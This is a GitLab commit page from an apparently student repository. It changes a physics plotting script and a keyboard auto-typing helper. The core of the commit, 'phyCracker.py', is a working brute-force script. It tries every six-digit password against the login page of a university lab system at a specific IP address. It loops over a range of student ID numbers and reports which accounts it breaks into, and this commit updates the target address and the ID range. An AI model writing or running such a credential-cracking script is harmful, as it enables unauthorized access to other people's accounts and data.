Skip to content
GitLab
Explore
Sign in
Primary navigation
Search or go to…
Project
P
phy-exp
Manage
Activity
Members
Labels
Plan
Issues
0
Issue boards
Milestones
Wiki
Code
Merge requests
0
Repository
Branches
Commits
Tags
Repository graph
Compare revisions
Snippets
Build
Pipelines
Jobs
Pipeline schedules
Artifacts
Deploy
Releases
Package Registry
Model registry
Operate
Environments
Terraform modules
Monitor
Incidents
Analyze
Value stream analytics
Contributor analytics
CI/CD analytics
Repository analytics
Model experiments
Help
Help
Support
GitLab documentation
Compare GitLab plans
Community forum
Contribute to GitLab
Provide feedback
Terms and privacy
Keyboard shortcuts
?
Snippets
Groups
Projects
Show more breadcrumbs
recolic-hust
phy-exp
Commits
9c820810
There was an error fetching the commit references. Please try again later.
Unverified
Commit
9c820810
authored
6 years ago
by
Recolic Keghart
Browse files
Options
Downloads
Patches
Plain Diff
update ip...
parent
2425e0f9
No related branches found
No related tags found
No related merge requests found
Changes
3
Hide whitespace changes
Inline
Side-by-side
Showing
3 changed files
PhotoelectricEffect/draw_ip.py
+9
-0
9 additions, 0 deletions
PhotoelectricEffect/draw_ip.py
phyCracker.py
+11
-11
11 additions, 11 deletions
phyCracker.py
virtualtype.py
+11
-0
11 additions, 0 deletions
virtualtype.py
with
31 additions
and
11 deletions
PhotoelectricEffect/draw_ip.py
0 → 100755
+
9
−
0
View file @
9c820810
#!/usr/bin/env python3
import
sys
sys
.
path
.
append
(
'
..
'
)
import
quickmap
x31
,
y31
=
[
2
,
4
,
8
],[
66.0
,
234
,
906
]
x32
,
y32
=
[
2
,
4
,
8
],[
22.3
,
85.1
,
341
]
quickmap
.
GetMultiMap
(
quickmap
.
GetLine
(
x31
,
y31
,
polyLine
=
True
,
poly_passO
=
False
)
+
quickmap
.
GetLine
(
x32
,
y32
,
polyLine
=
True
,
poly_passO
=
False
))
This diff is collapsed.
Click to expand it.
phyCracker.py
+
11
−
11
View file @
9c820810
...
...
@@ -12,7 +12,7 @@ def _dump(sid,pswd):
'
mm
'
:
pswd
,
'
Login
'
:
'
%B5%C7%C2%BC
'
}).
encode
(
'
utf-8
'
)
req
=
urllib
.
request
.
Request
(
'
http://115.156.2
33.249
/login.asp
'
,
headers
=
{
req
=
urllib
.
request
.
Request
(
'
http://115.156.2
15.251
/login.asp
'
,
headers
=
{
'
Accept
'
:
'
text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
'
,
'
Accept-Encoding
'
:
'
gzip, deflate
'
,
'
Accept-Language
'
:
'
en-US,en;q=0.8,zh-CN;q=0.6,zh;q=0.4
'
,
...
...
@@ -21,10 +21,10 @@ def _dump(sid,pswd):
'
Content-Length
'
:
'
43
'
,
'
Content-Type
'
:
'
application/x-www-form-urlencoded
'
,
'
Cookie
'
:
cookie
,
'
Host
'
:
'
115.156.2
33.249
'
,
'
Origin
'
:
'
http://115.156.2
33.249
'
,
'
Host
'
:
'
115.156.2
15.251
'
,
'
Origin
'
:
'
http://115.156.2
15.251
'
,
'
Pragma
'
:
'
no-cache
'
,
'
Referer
'
:
'
http://115.156.2
33.249
/login.asp
'
,
'
Referer
'
:
'
http://115.156.2
15.251
/login.asp
'
,
'
Upgrade-Insecure-Requests
'
:
'
1
'
,
'
User-Agent
'
:
'
Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36
'
})
...
...
@@ -35,17 +35,17 @@ def _dump(sid,pswd):
return
False
print
(
'
<div align=
"
center
"
> Login done.
'
)
req
=
urllib
.
request
.
Request
(
'
http://115.156.2
33.249
/TongZhi.asp
'
,
headers
=
{
req
=
urllib
.
request
.
Request
(
'
http://115.156.2
15.251
/TongZhi.asp
'
,
headers
=
{
'
Accept
'
:
'
text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
'
,
'
Accept-Encoding
'
:
'
gzip, deflate
'
,
'
Accept-Language
'
:
'
en-US,en;q=0.8,zh-CN;q=0.6,zh;q=0.4
'
,
'
Cache-Control
'
:
'
no-cache
'
,
'
Connection
'
:
'
keep-alive
'
,
'
Cookie
'
:
cookie
,
'
Host
'
:
'
115.156.2
33.249
'
,
'
Origin
'
:
'
http://115.156.2
33.249
'
,
'
Host
'
:
'
115.156.2
15.251
'
,
'
Origin
'
:
'
http://115.156.2
15.251
'
,
'
Pragma
'
:
'
no-cache
'
,
'
Referer
'
:
'
http://115.156.2
33.249
/login.asp
'
,
'
Referer
'
:
'
http://115.156.2
15.251
/login.asp
'
,
'
Upgrade-Insecure-Requests
'
:
'
1
'
,
'
User-Agent
'
:
'
Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36
'
})
...
...
@@ -65,12 +65,12 @@ def crackOneAccount(sid, rangeGen=range(1000000)):
if
_dump
(
sid
,
psw
):
print
(
'
Done. password=
'
+
psw
)
crackOneAccount
(
'
201614531
'
,
range
(
800000
,
1000000
))
exit
(
0
)
#
crackOneAccount('201614531', range(800000, 1000000))
#
exit(0)
####
success
=
0
fail
=
0
for
i
in
range
(
201
6
10001
,
201
6
171
74
):
for
i
in
range
(
201
7
10001
,
201
7
171
50
):
if
tryDump
(
str
(
i
)):
success
+=
1
else
:
...
...
This diff is collapsed.
Click to expand it.
virtualtype.py
100644 → 100755
+
11
−
0
View file @
9c820810
#!/usr/bin/env python3
# Use this script with https://recolic.net/phy and https://recolic.net/phy2
# to avoid typing fucked numbers into page by hand.
from
pykeyboard
import
PyKeyboard
...
...
@@ -11,3 +12,13 @@ def virtual_type_array(arrToType, noWait=False):
for
d
in
arrToType
:
k
.
type_string
(
str
(
d
))
k
.
tap_key
(
k
.
tab_key
)
def
_type
(
s
):
k
=
PyKeyboard
()
print
(
'
You have 5 seconds to ready for auto-typing.
'
)
time
.
sleep
(
5
)
k
.
type_string
(
str
(
s
))
if
__name__
==
"
__main__
"
:
import
sys
_type
(
sys
.
argv
[
1
])
This diff is collapsed.
Click to expand it.
Preview
0%
Loading
Try again
or
attach a new file
.
Cancel
You are about to add
0
people
to the discussion. Proceed with caution.
Finish editing this message first!
Save comment
Cancel
Please
register
or
sign in
to comment